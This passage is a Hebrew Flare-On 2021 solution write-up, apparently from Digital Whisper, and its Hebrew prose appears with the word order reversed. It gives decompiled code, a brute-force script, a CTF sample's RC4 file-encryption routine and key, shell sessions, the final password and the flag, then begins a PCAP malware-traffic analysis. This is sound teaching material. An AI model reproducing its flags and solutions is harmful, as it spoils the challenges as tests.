 המיקום ואת שלו הצבע את שמשנה בלולאה המסך על אותו ומציג, var1-ב יושב הנראה שככל שלה החזרה

 . שנייה כל שלו

 שגילינו DLL-ה שהוא נראה? יושב הוא היכן אך, בפלאגין יושבת באמת המעניינת שהלוגיקה נראה אז, מגניב

 עם. אחר DLL-ב אותו להחליף רק אלא, אותו לשלוף דרך לנו נותן לא MMB, הצער למרבה אך, קיומו את
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-ה שם את שמכילות CreateFile קריאות ונחפש ProcMon-ב אחריו נעקוב, הבינארי את נריץ כאשר, זאת

DLL ב שזיהינו-MMB (היה זה fathom.dll:) 

 

 :אותנו שמעניין DLL-ה, וביניהם, TMP%\MMBPlayer%-ב נמצאים התכנית של הקבצים שכל נראה, מגניב

 

 על מסתכלים שאנחנו לפני. פועל הוא כיצד וננתח IDA-ב אותו נפתח, בידיים DLL-ה את לנו כשיש, כעת

 פרמטרים מועברים כיצד להבין ננסה, הלחיצות רצף של בבדיקה שנקראת PluginFunc19 הפונקציה

 שזה כפי. שונים פרמטרים עם PluginSet-ל שקרא סקריפט הטריגה חיה על לחיצה כל, כזכור. לפלאגין

 :בפלאגין SetFile המיוצאת הפונקציה את מטריגות הללו הקריאות, נראה

int __usercall SetFile@<eax>(int a1@<ecx>, int a2@<esi>, const char *a3) 

{ 

    /* split the value by `:` */ 

    /* where <key>:<value> */ 

    // [...] 

 

    v14 = strcmp(v12, "flotsam"); 

    if ( v14 ) 

      v14 = v14 < 0 ? -1 : 1; 

    if ( v14 ) 

    { 

      v18 = strcmp(v12, "jetsam"); 

      if ( v18 ) 

        v18 = v18 < 0 ? -1 : 1; 

      if ( v18 ) 

      { 

        v19 = strcmp(v12, "lagan"); 

        if ( v19 ) 

          v19 = v19 < 0 ? -1 : 1; 

        if ( v19 ) 

        { 

          v20 = strcmp(v12, "derelict"); 

          if ( v20 ) 

            v20 = v20 < 0 ? -1 : 1; 

          if ( !v20 ) 

            sub_100022C0(&g_derelict, v23); 
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        } 

        else 

        { 

          sub_100022C0(&g_lagan, v23); 

        } 

      } 

      else 

      { 

        sub_100022C0(&g_jetsam, v23); 

      } 

    } 

    else 

    { 

      sub_100022C0(&g_flotsam, v23); 

    } 

    // [...] 

} 

 המפתחות את ומחפשת<, key>:<value> של בפורמט אליה שמועבר הערך את מפרסרת שהפונקציה נראה

flotsam, jetsam, lagan ו-derelict לפונקציה קוראת היא, הרלוונטי המפתח את מוצאת שהיא אחרי. בלבד 

 את הגלובלי המשתנה אל ומשרשרת, הרלוונטי המשתנה את שמייצג גלובלי ומשתנה הערך את שמקבלת

 :PluginFunc19 על כעת נסתכל. שהועבר הערך

int __usercall PluginFunc19@<eax>(int a1@<ebp>) 

{ 

    // [...] 

 

    v17 = g_initial_state; 

 

    // [...] 

    for ( i = 0; i < 31; ++i ) 

    { 

        *((_BYTE *)&v17 + i) ^= flotsam_[i % strlen(flotsam_)]; 

        *((_BYTE *)&v17 + i) -= *(_BYTE *)(i % 0x11u + jetsam_[0]); 

    } 

 

    result = calc_md5((BYTE *)&v17, (int)user_md5); 

    if ( !result ) 

    { 

        expected_md5 = "6c5215b12a10e936f8de1e42083ba184"; 

        while ( 1 ) 

        { 

        if ( *user_md5 != *expected_md5 ) 

            break; 

 

    // [...] 

} 

 ערך לוקחת היא. jetsam-ו flotsam הגלובלים במשתנים ורק אך משתמשת הפונקציה, לראות שניתן כפי

 את ממנו ומחסרת, flotsam-ב המתאים הבית עם בו בית כל מקסרת מכן ולאחר, כלשהו קבוע התחלתי

 . jetsam-ב המתאים הבית
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 נוכל, כך אם. כלשהו קבוע לערך שווה הוא האם ובודקת, שהתקבל הערך על MD5 מחשבת היא, מכן לאחר

, בפרויקט השונים מהסקריפטים flotsam-ו jetsam של האפשרויות בכל שמשתמש קטן סקריפט לכתוב

 :זהה MD5-ל שתוביל פרמוטציה ומחפש, שלהם השונות הפרמוטציות את בונה

from itertools import permutations 

import hashlib 

 

 

# from binary 

flotsam = ["BGgsuhn", "PXopvM", "DFWEyEW"] 

jetsam = ["HwdwAZ", "newaui", "SLdkv"] 

 

md5 = "6c5215b12a10e936f8de1e42083ba184" 

 

# from binary 

message = 

list(bytes.fromhex("9625A4A9A3969A909FAFE538F9819E16F9CBE4A4878F8FBAD29D

A7D1FCA3A8")) 

 

for i in range(6): 

    for fp in permutations(flotsam, r=i + 1): 

        for jp in permutations(jetsam, r=3): 

            temp = message[:] 

            jetsam_str = "".join(jp).encode('latin-1') 

            flotsam_str = "".join(fp).encode('latin-1') 

 

            for j in range(len(message)): 

                temp[j] ^= flotsam_str[j % len(flotsam_str)] 

                temp[j] -= jetsam_str[j % 0x11] + 256 

                temp[j] %= 256 

 

            if (hashlib.md5(bytes(temp)).hexdigest() == md5): 

                print('jetsam:', jp) 

                print('flotsam:', fp) 

 
# python3 solve.py 

jetsam: ('SLdkv', 'newaui', 'HwdwAZ') 

flotsam: ('PXopvM', 'DFWEyEW', 'BGgsuhn') 

 הקשר את ידנית כעת נמפה. המשתנים שני עבור נכונה פרמוטציה לנו מוצאת שכתבנו הסקריפט של הרצה

 :המתאים לסקריפט ייחודי ערך כל בין

1  = MZZWP 

2  = BAJkR 

3  = DFWEyEW 

4  = PXopvM 

5  = LDNCVYU 

6  = yXQsGB 

7  = newaui 

8  = QICMX 

9  = rOPFG 

10 = HwdwAZ 

11 = SLdkv 

12 = LSZvYSFHW 

13 = BGgsuhn 

14 = GTYAKlwER 

15 = RTYXAc 

16 = GTXI 
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, TMP%\MMBuilder% של התיקייה בזכות יודעים אנחנו סקריפט לכל שמתאימה התמונה את, כן כמו

 . png סיומת עם הסקריפט מספר את שכולל בשם אותן שמכילה

 :הדגל את לקבל מנת על 13-ו 3, 6, 12, 7, 11 ללחוץ עלינו, כך אם
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  FLARE Linux VM - 7 אתגר

Because of your superior performance throughout the FLARE-ON 8 Challenge, the FLARE team has invited 

you to their office to hand you a special prize! Ooh – a special prize from FLARE ? What could it be? You are 

led by a strong bald man with a strange sense of humor into a very nice conference room with very thick 

LED dimming glass. As you overhear him mumbling about a party and its shopping list you notice a sleek 

surveillance camera. The door locks shut! 

Excited, you are now waiting in a conference room with an old and odd looking computer on the table. The 

door is closed with a digital lock with a full keyboard on it. 

Now you realise… The prize was a trap! They love escape rooms and have locked you up in the office to 

make you test out their latest and greatest escape room technology. The only way out is the door – but it 

locked and it appears you have to enter a special code to get out. You notice the glyph for U+2691 on it. You 

turn you attention to the Linux computer - it seems to have been infected by some sort of malware that has 

encrypted everything in the documents directory, including any potential clues. 

Escape the FLARE Linux VM to get the flag - hopefully it will be enough to find your way out. 

, לצאת מנת על. כלשהו Escape Room מעין להיות שאמור, VM של image מקבלים אנחנו, זה באתגר

 היא אך, רמזים להיות עשויים VM-ב המסמכים בתיקיית כי רשום בתיאור. כלשהו מיוחד קוד למצוא נצטרך

 - ברורה ראשונה מטרה עם, VM-ב בשיטוט שלנו המסע את נתחיל, כך אם. כלשהי נוזקה ידי על הוצפנה

 באמצעות SSH-ב אליו ונתחבר, VMWare-ב VM-ה את נרים. המסמכים תיקיית את לפענח להצליח

MobaXterm נוחה בצורה וממנו אליו קבצים ולהעביר בו לשוטט להצליח כדי. 

 :המכונה של root-ה על נסתכל, שהתחברנו לאחר

localhost:~ # cd / 

localhost:/ # ls 

.snapshots  bin  boot  config.bootoptions  config.partids  dev  etc  

home  lib  lib64  mnt  opt  proc  root  run  sbin  selinux  srv  sys  

tmp  usr  var 

 מנת על לתוכו לצלול וננסה, חריג משהו כמו נראה. root-ב snapshots-ה תיקיית הוא לעין קופץ שמיד משהו

 :שם יושב מה בדיוק להבין

localhost:/ # cd .snapshots/ 

localhost:/.snapshots # ls 

1  2  3  4  5  6  grub-snapshot.cfg 

localhost:/.snapshots # cd 1/ 

localhost:/.snapshots/1 # ls 

info.xml  snapshot 

localhost:/.snapshots/1 # cd snapshot/ 

localhost:/.snapshots/1/snapshot # ls 

.snapshots  bin  boot  config.bootoptions  config.partids  dev  etc  

home  lib  lib64  mnt  opt  proc  root  run  sbin  selinux  srv  sys  

tmp  usr  var 

 snapshots-ה בין diffs להריץ ננסה. המכונה של שונים snapshots שישה מכילה התיקייה, נראה שזה כפי

 .מעניינים דברים לזהות מנת על השונים
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 :והאחרון הראשון בין diff עם נתחיל

localhost:/.snapshots # diff -rq 1/snapshot/ 6/snapshot/ 

Only in 1/snapshot/etc: Quijote.txt 

Files 1/snapshot/etc/motd and 6/snapshot/etc/motd differ 

diff: 1/snapshot/etc/mtab: No such file or directory 

diff: 6/snapshot/etc/mtab: No such file or directory 

Only in 1/snapshot/usr/bin: dot 

Only in 1/snapshot/usr/lib: zyppe 

 קטע שמכיל, Quijote.txt הוא הראשון. הראשון snapshot-ב ורק אך שמופיעים קבצים מספר ישנם כי נראה

 :שלהם התוכן מה נבדוק. zyppe-ו dot הם נוספים קבצים שני. קיחוטה דון מהספר

localhost:/.snapshots # file 1/snapshot/usr/bin/dot 

1/snapshot/usr/bin/dot: ELF 64-bit LSB executable, x86-64, version 1 

(SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, 

BuildID[sha1]=20ead65bf5e95537e69bf060bf598a3f341d0e7e, for GNU/Linux 

3.2.0, with debug_info, not stripped 

localhost:/.snapshots # file 1/snapshot/usr/lib/zyppe 

1/snapshot/usr/lib/zyppe: ELF 64-bit LSB executable, x86-64, version 1 

(SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, 

BuildID[sha1]=d06ba2636713b75af35025d6d85cc3d98b7b0192, for GNU/Linux 

3.2.0, with debug_info, not stripped 

 :שנקבל output-ה מה ולבדוק אותם להריץ ננסה. ELF קבצי בשני שמדובר נראה

localhost:/.snapshots # ./1/snapshot/usr/bin/dot 

Password: IDK 

Wrong password! 

Password (ASCII): 

 הסודי הקוד שזה להיות יכול. אותה ובודק, כלשהי סיסמה לקבל מצפה הבינארי, לראות שאפשר כפי

 כעת נריץ. מעט עוד אליו ונצלול, שלנו למכונה הזה הבינארי את נעביר. אליו התייחס האתגר של שהתיאור

 :zyppe את

localhost:/.snapshots # ./1/snapshot/usr/lib/zyppe 

 הארטיפקטים של יותר מעמיק בניתוח ונתחיל, שלנו למכונה אותו גם נעביר. output שום שאין נראה, אוקי

 לאור, לניתוח פשוט שמאוד ++C-ב שנכתב בבינארי שמדובר ונראה, באיידה dot את נפתח. שהשגנו

 .debug info ומכיל stripped אינו שהוא העובדה
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 :בדיקומפיילר שלו main-ה פונקצית על נסתכל

 

 .מאוד פשוטה הבינארי של הפונקציונליות, לראות שאפשר כפי

 :ל התוצאה של hex digest-ה את ומשווה, SHA256 עליה מחשב, מהמשתמש סיסמה מקבל הוא

b3c20caa9a1a82add9503e0eac43f741793d2031eb1c6e830274ed5ea36238bf 

 אותו, דגל ממנה ומייצר הסיסמה על מסוימת מניפולציה מבצע הבינארי, SHA256-ה ערך אכן וזה במידה 

 לערך שווה יהיה שלה SHA256-ה שערך הסיסמה את למצוא עלינו יהיה - ברור האתגר, כך אם. מדפיס הוא

 .בבינארי שראינו הקבוע

 ואינו debug info עם קומפל אך, ++C-ב שנכתב בבינארי מדובר כאן גם. zyppe של לניתוח כעת נמשיך

stripped ,לניתוח מאוד פשוט שהוא כך. 

  



 
 

 Flare-On 2021 פתרון אתגרי
www.DigitalWhisper.co.il 

 53  4243 נובמבר ,357גליון 
 

 :בדיקומפיילר שלו main-ה פונקצית על נסתכל

 

 שאינם בה הקבצים תוכן את ומצפין, המערכת של המסמכים תיקיית כל על רץ הבינארי, לראות שניתן כפי

 .encrypt הפונקציה באמצעות broken. בסיומת מסתיימים
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 לגילוי רמזים לכלול ועשויים, שהוצפנו המסמכים את לפענח נוכל כיצד להבין מנת על, אותה כעת ננתח

 :הסיסמה

__int64 __fastcall encrypt(char *plaintext) 

{ 

  // [...] 

 

  strcpy(v3, "A secret is no longer a secret once someone knows it"); 

  result = 0x656D6F732065636ELL; 

  for ( i = 0; i <= 255; ++i ) 

  { 

    result = i; 

    v2[i] = i; 

  } 

  v11 = 0; 

  for ( j = 0; j <= 255; ++j ) 

  { 

    v11 = (v2[j] + v11 + v3[j % 52]) % 256; 

    v6 = v2[j]; 

    v2[j] = v2[v11]; 

    result = v11; 

    v2[v11] = v6; 

  } 

  v9 = 0; 

  v11 = 0; 

  v8 = 0; 

  for ( k = 0; k <= 1023; ++k ) 

  { 

    v9 = (v9 + 1) % 256; 

    v11 = (v11 + v2[v9]) % 256; 

    v5 = v2[v9]; 

    v2[v9] = v2[v11]; 

    v2[v11] = v5; 

    v4 = v2[(v2[v11] + v2[v9]) % 256]; 

    plaintext[k] ^= v4 ^ v8; 

    result = v4; 

    v8 = v4; 

  } 

  return result; 

} 

 A secret is" המפתח עם RC4 אלגוריתם באמצעות הקבצים תוכן את מצפינה הפונקציה, לראות שניתן כפי

no longer a secret once someone knows it ."ב שמדובר לזהות הקלאסית הדרך-RC4 הלולאה זיהוי היא 

 של התמורה בתיבת מדובר, בפועל) עצמו של האופסטים עם מערך שמאתחלת בפונקציה הראשונה

 שהבנו לאחר. RC4-ב שמדובר לזהות קל די, רבות בנוזקות מאוד נפוץ בדפוס ומדובר מאחר(. האלגוריתם

 המפתח אותו באמצעות הקבצים כל את לפענח נוכל, סימטרי שהאלגוריתם יודעים ואנחנו מאחר, זאת

 .שהשגנו
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 :בתיקייה נסתכל. במכונה המסמכים כל את לפענח כעת ננסה, כך אם

localhost:/.snapshots # cd ~/Documents/ 

localhost:~/Documents # ls 

.daiquiris.txt.broken donuts.txt.broken instant_noodles.txt.broken  

oats.txt.broken rasberries.txt.broken spaghetti.txt.broken     

tomatoes.txt.broken backberries.txt.broken dumplings.txt.broken    

nachos.txt.broken omelettes.txt.broken reeses.txt.broken         

strawberries.txt.broken udon_noddles.txt.broken banana_chips.txt.broken 

ice_cream.txt.broken natillas.txt.broken oranges.txt.broken    

sausages.txt.broken tacos.txt.broken ugali.txt.broken 

blue_cheese.txt.broken iced_coffee.txt.broken nutella.txt.broken          

raisins.txt.broken shopping_list.txt.broken tiramisu.txt.broken      

unagi.txt.broken 

. שמצאנו הבינארי ידי על הוצפנו שהם כיוון, broken בסיומת נגמרים בתיקייה הקבצים כל, לראות שניתן כפי

 מכיוון. zyppe הבינארי את מחדש ולהריץ, broken סיומת את מכולם להעיף הוא לעשות שנוכל מגניב טריק

 של stream-ה עם שמקוסר המפתח סמך על keystream בונה הוא) ופענוח הצפנה עבור זהה שהאלגוריתם

 התוכן את ולקבל, שהוא כמו הבינארי את להריץ פשוט נוכל(, ופענוח הצפנה עבור זהה שזה כך, המידע

 :כעת זאת נעשה. הקבצים כל עבור המפוענח

localhost:~/Documents # for i in *.broken; do mv -i $i `basename $i 

.broken`; done 

localhost:~/Documents # mv .daiquiris.txt.broken .daiquiris.txt 

backberries.txt is now a secret 

banana_chips.txt is now a secret 

blue_cheese.txt is now a secret 

donuts.txt is now a secret 

dumplings.txt is now a secret 

ice_cream.txt is now a secret 

iced_coffee.txt is now a secret 

instant_noodles.txt is now a secret 

nachos.txt is now a secret 

natillas.txt is now a secret 

nutella.txt is now a secret 

oats.txt is now a secret 

omelettes.txt is now a secret 

oranges.txt is now a secret 

raisins.txt is now a secret 

rasberries.txt is now a secret 

reeses.txt is now a secret 

sausages.txt is now a secret 

shopping_list.txt is now a secret 

spaghetti.txt is now a secret 

strawberries.txt is now a secret 

tacos.txt is now a secret 

tiramisu.txt is now a secret 

tomatoes.txt is now a secret 

udon_noddles.txt is now a secret 

ugali.txt is now a secret 

unagi.txt is now a secret 

.daiquiris.txt is now a secret 

 שרוב נראה. בתוכם מעניינים רמזים לחפש ונתחיל, * cat באמצעות הקבצים לכל dump נעשה, כעת

 .plaintext-ב לחלוטין לראות שניתן קבצים מספר למעט, מאוד מוזרה בצורה מקודדים הקבצים
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 :plaintext-שב הקבצים על כעת נסתכל

udon_noodles: "ugali", "unagi" and "udon noodles" are delicious. What a 

coincidence that all of them start by "u"! 

ugali.txt: Ugali with Sausages or Spaghetti is tasty. It doesnt matter 

if you rotate it left or right, it is still tasty! You should try to 

come up with a great recipe using CyberChef. 

shopping_list.txt: 

/ 

[U]don noodles 

[S]trawberries 

[R]eese's 

/ 

[B]anana chips 

[I]ce Cream 

[N]atillas 

/ 

[D]onuts 

[O]melettes 

[T]acos 

 

unagi.txt: The 1st byte of the password is 0x45 

. רמזים מספר מקבלים אנחנו, כן כמו(. E התו) 0x45 - הסיסמה של הראשון התו את מקבלים אנחנו, ראשית

, כן כמו. כה עד לב שמנו שלא למקרה, dot הבינארי של הקיום על רומז shopping_list.txt-ש נראה, כל קודם

 למידע right או rotate left שיעשה מתכון ולייצר CyberChef-ב להשתמש לנסות לנו רומז ugali.txt הקובץ

 של סוגים בהמון ותומך, מידע על נוחה למניפולציה מצוין כלי הוא CyberChef. אותו לפענח בכדי שלנו

 של שונים קבועים עם ונשחק, CyberChef-ל אותה נטען, base64-ב * cat של התוצאה את נקודד. אופרציות

rotation כי נראה. כלשהו מידע לפענח מצליחים אנחנו האם לראות מנת על rotate left מצליח 1 הקבוע עם 

 :שונים קבצים שלושה של התוכן את לנו לפענח

sausages.txt: The 2st byte of the password is 0x34 

spaghetti.txt: In the FLARE language "spaghetti" is "c3BhZ2hldHRp". 

strawberries.txt: In the FLARE team we like to speak in code. You should 

learn our language, otherwise you want be able to speak with us when you 

escape (if you manage to escape!). For example, instead of 

"strawberries" we say "c3RyYXdiZXJyaWVz". 

 כל את לפענח כעת ננסה. base64-ב מקודד מהמידע חלק וכי, 6 הוא בסיסמה השני התו כי גילינו אז. מגניב

 :כך שמקודדים הקבצים

raisins.txt: The 3rd byte of the password is.. it is a joke, we don't 

like raisins! 

rasberries.txt: The 3rd byte of the password is: 0x51 

reeses.txt: We LOVE "Reese's", they are great for everything! They are 

amazing in ice-cream and they even work as a key for XOR encoding. 

 המפתח עם XOR-ב קודדו מהקבצים חלק כי מבינים ואנחנו, Q הוא הסיסמה של השלישי התו אז, מגניב

"Reese's." 
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 :אותם ולפענח לזהות ננסה
backberries.txt: If you are not good in maths, the only thing that can 

save you is to be a bash expert. Otherwise you will be locked here 

forever HA HA HA! 

banana_chips.txt: Are you good at maths? We love maths at FLARE! We use 

this formula a lot to decode bytes: "ENCODED_BYTE + 27 + NUMBER1 * 

NUMBER2 - NUMBER3" 

blue_cheese.txt: The 4th byte of the password is: 0x35 

. מסוימת נוסחה באמצעות מקודד מהמידע חלק וכי, 5 הוא הסיסמה של הרביעי התו כי גילינו כעת, כך אם

 :bash ממשתני מגיעים בנוסחה הקבועים האם לבדוק ננסה ולכן, bash-ב לשימוש כלשהי רמיזה יש

localhost:~/Documents # echo $NUMBER1 

2 

localhost:~/Documents # echo $NUMBER2 

3 

localhost:~/Documents # echo $NUMBER3 

37 

 מכן ולאחר, 3*  0 של הוספה, 07 של הוספה ידי על מקודדים בתים שהרבה יודעים אנחנו כעת אז, אחלה

 :קבצים מספר כך לפענח כרגיל ננסה. בית מכל 6 של חיסור יוצא זה בפועל. 37 של חיסור

ice_cream.txt: 

If this challenge is too difficult and you want to give up or just in 

case you got hungry, what about baking some muffins? Try this recipe: 

0 - Cinnamon 

1 - Butter 150gr 

2 - Lemon 1/2 

3 - Eggs 3 

4 - Sugar 150gr 

5 - Flour 250gr 

6 - Milk 30gr 

7 - Icing sugar 10gr 

8 - Apple 100gr 

9 - Raspberries 100gr 

 

Mix 0 to 9 and bake for 30 minutes at 180?C. 

 

iced_coffee.txt: The only problem with RC4 is that you need a key. The 

FLARE team normally uses this number: "SREFBE" (as an UTF-8 string). If 

you have no idea what that means, you should give up and bake some 

muffins. 

instant_noodles.txt: The 5th byte of the password is: 0xMS 

 קבצים מספר יש - להמשך רמז קיבלנו, אופן בכל… חמישי בית של תקין ערך קיבלנו שלא נראה - מוזר

 הקבצים את ולפענח לזהות כשניסינו, הזו בפעם". SREFBE" המפתח עם RC4 באמצעות שהוצפנו

 וטיפה להתקדם זאת בכל החלטנו אך, כלשהו פספוס לנו היה, הנראה ככל. כלום מצאנו לא, הרלוונטיים

 .מושכלים ניחושים לעשות

 :מאוד דומה בצורה מקודדים הבאים הקבצים 3-ש זיהינו

oats.txt: 

Kww jvkugh xatnfk phz JDMZG kswm dr Liqvksn. Oolwdekjs phzc emg ivh 

wnbvq mvf ecp lzx qac nvore zzwz qh pcq gzx ltm hcoc. 

hoxhe://byzhpem.ggy/ipraia_06 
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cxlba://vnwptzv.uau/qjondvv1 

zfbrj://hsioxwd.kqd/AwlrejqUgtvwndg 

omelettes.txt: 

Kww jvkugh xatnfk phz JDMZG kswm dr Liqvksn. Tciq bwuk o xuigz an 

keharzwluvi jhqfa efp pcms crzel owpmsnsvxaav qe Hsioxwd! 

pvkdo://trmlfmt.tci/aieeyi_06 

jkhls://oaafbgi.qkm/HediitvAaccefuk 

oranges.txt: 

Fpg 8kv xyoi gr bjv dwsnagdl kj: 0l60 

 מאחר. זהה מפתח עם וינייר באמצעות כולו מוצפן כאן רואים שאנחנו שהמידע הוא שעשינו המושכל הניחוש

 The 8th byte of the) מאוד גבוהה בסבירות plaintext-ה את השלישי המידע עבור יודעים ואנחנו

password is: 0x60 ,)המפתח את למצוא נוכל .Bruteforce באמצעות קצר ידני cyberchef למפתח הוביל 

 .MICROWAVES: הבא

 :הקבצים את נפענח, כעת

oats.txt: 

You should follow the FLARE team in Twitter. Otherwise they may get 

angry and not let you leave even if you get the flag. 

https://twitter.com/anamma_06 

https://twitter.com/osardar1 

https://twitter.com/MalwareMechanic 

omelettes.txt: 

You should follow the FLARE team in Twitter. They post a bunch of 

interesting stuff and have great conversation on Twitter! 

https://twitter.com/anamma_06 

https://twitter.com/MalwareMechanic 

oranges.txt: 

The 8th byte of the password is: 0x60 

. היוצרים של טוויטר לחשבונות הפנייה מקבלים ואנחנו`,  הוא הסיסמה של השמיני התו, לראות שאפשר כפי

 :הבא לשרשור מוביל בחשבונות שיטוט
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 שמתקבלים הערכים. IV של ערך+  AES מפתח להרכיב לנו שמאפשרת אינפורמציה מכיל השרשור, בקצרה

 :הם

KEY = "Sheep should sleep in a shed15.2" 

IV = "50495a5a41000000000000000000000000000000000000000000000000000000" 

 :הללו הערכים באמצעות לפענח ניתן מהקבצים איזה לראות ננסה, כעת

tacos.txt: Woow!.yD.CUU]C.Iou are very very close to get the flag! Be 

careful when converting decimal and hexadecimal values to ASCII and 

hurry up before we run out of tacos! 

tiramisu.txt: 

The 9DX.RIDU._V.the password is the atomic number of the element 

moscovium 

The 10th byte of the password is the bell number preceding 203 

The 12th byte of the password is the largest known number to be the sum 

of two primes in exactly two different ways 

The 14th (and last byte) of the password is the sum of the number of 

participants from Spain, Singapore and Indonesia that finished the 

FLARE-ON 7, FLARE-ON 6 or FLARE-ON 5 

tomatoes.txt:  

It seU]C.I_E.QBU close to escape... We are preparing the tomatoes to 

throw at you when you open the door! It is only a joke... 

The 11th byte of the password is the number of unique words in 

/etc/Quijote.txt 

The 13th byte of the password is revealed by the FLARE alias 

, s הוא הסיסמה של התשיעי הבית כי חושפים הללו הרמזים כל - לסיום קרובים ממש שאנחנו נראה, טוב

, 5 הוא עשר השלושה הבית, D הוא עשר השניים הבית, l הוא עשר האחד הבית, 6 הוא העשירי הבית

 .I הוא( האחרון למעשה שהוא) עשר הארבעה והבית

 את יודעים ואנחנו מאחר. בתים שלושה ורק אך לנו חסרים. E4Q5???`s4lD5I: בידינו שיש הסיסמה זו, כעת

 וחסרים(, b3c20caa9a1a82add9503e0eac43f741793d2031eb1c6e830274ed5ea36238bf) הסיסמה של SHA256-ה

 כי ונקבל בסגנון bruteforce נריץ. בקלות די bruteforce להם לעשות נוכל, בתים שלושה ורק אך לנו

 :ונספק לו את הסיסמה הזו dot נריץ כעת את הבינארי. E4Q5d6f`s4lD5I: היא הסופית הסיסמה

localhost:~/Documents # /.snapshots/1/snapshot/usr/bin/dot 

Password: E4Q5d6f`s4lD5I 

Correct password! 

Flag: H4Ck3r_e5c4P3D@flare-on.com 

 באופן. מאוד פורנזי היה הזה האתגר, קלאסי רברסינג של כיוון שלקחו האתגרים לשאר בניגוד! דגל והשגנו

 בסוף בו להתקדם שהצלחנו נחמד היה. ביותר חביב כ"בסה היה הוא אך, לאתגר התחברנו פחות, אישי

 שעות להתפסטן מבלי מאוד אותנו לקדם שהצליח מושכל ניחוש בזכות, מסוימת בנקודה שנתקענו למרות

  .נתקענו שבה הנקודה על
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  PetTheKitty - 8 אתגר

Hello, 

Recently we experienced an attack against our super secure MEOW-5000 network. Forensic analysis 

discovered evidence of the files PurrMachine.exe and PetTheKitty.jpg; however, these files were ultimately 

unrecoverable. We suspect PurrMachine.exe to be a downloader and do not know what role 

PetTheKitty.jpg plays (likely a second-stage payload). Our incident responders were able to recover 

malicious traffic from the infected machine. Please analyze the PCAP file and extract additional artifacts. 

Looking forward to your analysis, ~Meow 

 בקובץ התקשורת של כללי בניתוח נתחיל. ל"הנ התיאור ואת, PCAPNG קובץ מקבלים אנחנו זה באתגר אז

 או, ביותר המהירה בצורה לניתוח שניתן payload לחלץ מסוגלים נהיה כיצד להבין במטרה, PCAPNG-ה

 על מהיר במעבר נתחיל. ברשת קרה מה בדיוק להבין לנו שיאפשרו, התנהגותיים insights מספיק

 :ברשת השיחות סטטיסטיקת

 

 

 

 ומכונה 170.12.111.139 הכתובת בעלת מכונה בין, 170.12.111.2/06 ברשת מתבצעת שההסנפה נראה

 מפורט 166-ל 139 בין אחת - TCP מעל שיחות שתי לראות ניתן. 170.12.111.166 הכתובת בעלת אחרת

 שלוש לראות ניתן, כן כמו. 0202 לפורט 7331 מפורט 139-ל 166 בין שנייה ושיחה, 1337 לפורט 0201

-ל 139 בין ואחת, DNS בקשת כלומר, 53 לפורט בקשה שכוללות, 166-ל 139-מ שתיים - UDP מעל שיחות

broadcast של הפורטים אחד שהוא, 138 פורט מעל NetBIOS. 

, בפועל התקשורת את נבחן, התקשורת של הכללי והמבנה הרשת אופי לגבי כללית הבנה לנו כשיש, כעת

 :עצמן הפקטות ברמת
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 הוא שרוזלב השרת. מולו שיחה ייזום 139 הנראה שככל, מסוים לשרת DNS שאילתת רואים אנו, ראשית

 :מכן שלאחר השיחה על נסתכל. למעשה עצמו DNS-ה שרת

 

 בקשה 166 למכונה שולחת 139 מכונה, 7331-ל 0202 פורטים מעל 166-ו 139 מכונות בין זו בשיחה נראה

 העברת לאחר השיחה ההמשך על נסתכל. 166 ממכונה fragmented מידע המון בתגובה ומקבלת, קצרה

 :המידע

 

. אחת במכה בחזרה מסוים מידע של העברה, ולאחריה, 139 מכונה מטעם קצרה בקשה שוב לראות ניתן

 עם, מכן לאחר שניות 022-כ רק בפועל מסתיימת שהשיחה למרות, מסתיימת ההתקשרות, מכן לאחר

 :166-ל 139 ממכונה ריסט הודעת

 

 הראשונה בבקשה נתחיל. Follow TCP stream באמצעות המכונות בין בפועל שעבר המידע על נסתכל, כעת

 :166 למכונה 139 מכונה של

ME0W2...2...~meow~ (=^.^=) ~meow~.... can haz MeeooowwwMeme?? 
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 :הבא המידע את מקבלת היא בתגובה. כלשהו Meme מבקשה שהמכונה נראה

ME0W.$                                                             

..$                                                                 

..PNG                                                              

.                                                                  

...                                                                

IHDR.......b......i.....ciCCPICC Profile..H..W.\.G..wd...a..{ . 

  #..A@. *! $......-                                          

U.n..Q...E...:.......8PQjq.B.....~..=.....s........@../......J... 

Qa....,R. .m@..../P.8  ...P.wy}.                               

.........U.."...$..l.BP.q..x.@&/.....6..d*,..@...x.                

...r..V.m.6..\... ..|y...mP.*..B.....K..).:.....|!....,,.... 

v..2.wB....3.o....|~.0V.5(.p.BV.......Ka.r..=l4.<:Q.?....)1*L..G. 

....5.o%Bu..@.bet...5.(..~.                                       

 .............X.>;G......t.......H..H.pn.OI...9r.G3../....oS. 

.p4...".....qr..T.0j.$5.bm.                                        

 ונשמור מההתקשרות אותו נחלץ. כלשהם בתים 10 של מסוים header לאחר שמגיע, PNG קובץ כמו נראה

 :בצד אותו

 

 :166-ל 139 של השנייה הבקשה על כעת נסתכל. קול

ME0W8...8...~meow~ (=^.^=) ~meow~.... can haz MeeeeeooooowwWare? 
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 :166 מכונה שמחזירה התוצאה על נסתכל". Ware" מבקשת 139 מכונה, Meme במקום, כעת

ME0W.)...)..PA30..B.w....#....!......@h.EH....".!.....:[..B..T..6 

...o...........m.....cf.o..MmjW.....S............\g....q../../..m 

...q.....}.....?......-........b.Y|.......lz....>.G8P8........@.. 

......l.{.}.....f.....w...W......Um....rU.~W.....P.- $\......Cl.. 

..(_.........@..;......h`@. . \*.R...p.`T.l....+.L.........#.wq 

..._.w&s&.O.+...../._......_d....f..eP..v..a...r...w9.......s.E..

/....]\..I..a~...r&.."w.._..~.31.!H..._..?._A2..._..s......".....

.....e....E.l.0....~.....2<g".......nr...... ."X..@.d&H..t,H..uq. 

D,......Q.Q.M.'.(......D'x.sl. .a......\...._0....+W.^...,..U.\/ 

....r...9...\.^..\.r.....q....].....b...q...?.74.v....q.1...8 ..W 

........H.).r...G....&..tH.. .E.......C'w....6qp1.....65.}`:...:I 

.b.1uq..h...2..w..#I.....cc...1V......&.=.G....n..-.8rd...\..fm.. 

.3.Q^.v.0T.....PY...]... .A.:%.5..LR.4..hLe4...*Kl..H...d.4*.8.QM 

.f....?.c........A...c7..6y...M...<.\j..Hc:.2.l....9M|wJgOc.w.:.  

 בצורה לנו שקופץ header בה שיש נראה ולא, מוכר מצלצת פחות הזו התגובה, הקודמת התגובה לעומת

 :למיניהם דפוסים לחפש וננסה, hex editor-ב התגובה על נסתכל. מיידית

 

 בפעם שהוחזר במידע 10 באופסט, כזכור. PA30 הסטרינג מופיע, במידע 10 באופסט, לראות שניתן כפי

